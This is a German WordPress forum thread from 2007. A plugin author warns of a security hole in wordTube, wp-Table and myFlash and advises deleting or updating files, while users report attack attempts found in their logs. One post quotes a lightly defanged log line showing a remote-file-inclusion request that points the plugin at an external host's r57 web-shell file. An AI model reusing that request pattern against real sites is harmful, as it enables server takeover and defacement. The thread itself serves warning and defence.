ACHTUNG -Sicherheitsloch in wordTube und wp-table

alex.rabe · 01.05.2007, 22:13

Hallo,

nachdem in myGallery eine Sicherheitslücke entdeckt wurde, hat es auch meine Plugins erwischt. Leider,Leider ...

Ich empfehle jeden der WordTube,wp-Table oder myFlash nutzt, das Plugin entweder zu löschen, oder auf die aktuelle Version up zudaten.

Am Besten die Dateien :

wptable-button.php
wordtube-button.php
myflash-button.php

entfernen, dann kann auch nichts passieren. Die genauen Ausmassen kann ich noch nicht abschätzen.

Putzlowitsch · 02.05.2007, 11:03

Aha, hatte mich schon über die Einträge im Logfile gewundert:
/wp-content/plugins/wp-table/js/wptable-button.phpp

Komisch auch das mit dem .phpp, stimmt das denn so überhaupt?
Als Useragent steht übrigens "libwww-perl/5.803" drin.

Gruß
Ingo

fym · 02.05.2007, 11:07

Dito, hab mich über ein paar 404'er gewundert, die von der wordtube-buttons.php mitsamt wpPATH-Insert kamen. Gerade mal auf die neueste Version aktualisiert.

Erklärt wenigstens, weshalb gestern AntiVir angesprungen ist, obwohl ich nur auf dem eigenen Blog war...

~fym

alex.rabe · 02.05.2007, 11:10

Haltet die Logfiles im Auge und sagt Bescheid falls es weiter Varianten gibt.

unsere lieben Hacker haben nämlich gerade erst Geschmack bekommen, ich weiss noch nicht welcher weiteren Varianten mit anderen Aufrufen auftauchen. Wer die Button.php löscht ist auf jeden Fall auf der sicheren Seite

Lars_oha · 02.05.2007, 11:44

Kann man die einfach löschen?

alex.rabe · 02.05.2007, 11:46

Es funktioniert dann der TinyMCE Button des Plugin nicht mehr, aber ich denke Sicherheit geht vor...

Bin vielleicht etwas panisch, aber ich möchte nicht noch mehr Webseiten auf dem Gewissen haben...

Echter Schock

benz · 03.05.2007, 16:35

Heise berichtet auch gerade über Sicherheitslöche...
Hier der Link zu Heise .

Gruss benz

Longjorn · 04.05.2007, 07:46

Hallo Alex, auch bei mir findet sich folgender Eintrag (ich habe ein paar Leerzeichen eingefügt) mehrmals in den Logfiles:
GET /wp-content/ plugins/ wordtube/ wordtube-button.php?wp PATH=http:// www dot treibball dot de/ components/ r57 dot txt? HTTP/1.1" 404 1042 "-""libwww-perl/5.79"
Ich benutze zum Glück keines der genannten Plugins.
Als ich gestern direkt auf die r57 txt bei treibball zugreifen wollte, hat mein Antivirus den Zugriff gestoppt.
Auf eine Suche nach wordtube-button bin ich hier gelandet...
und möchte doch allen empfehlen, die von Alex genannten Sicherheitsvorkehrungen zu treffen!

Ferdinand · 06.05.2007, 13:07

Mich hat's schon erwischt. Zum Glück war es "nur" ein einfaches Defacement. Mein Bericht siehe hier

Herr Nack · 06.05.2007, 13:14

Hallo Alex, Danke für den Hinweis. Heise sagt, dass die neuesten Versionen von Wordtube und Myflash nicht betroffen sind. Kannst Du das bestätigen zum derzeitigen Zeitpunkt...?

Beste Grüße
Herr Nack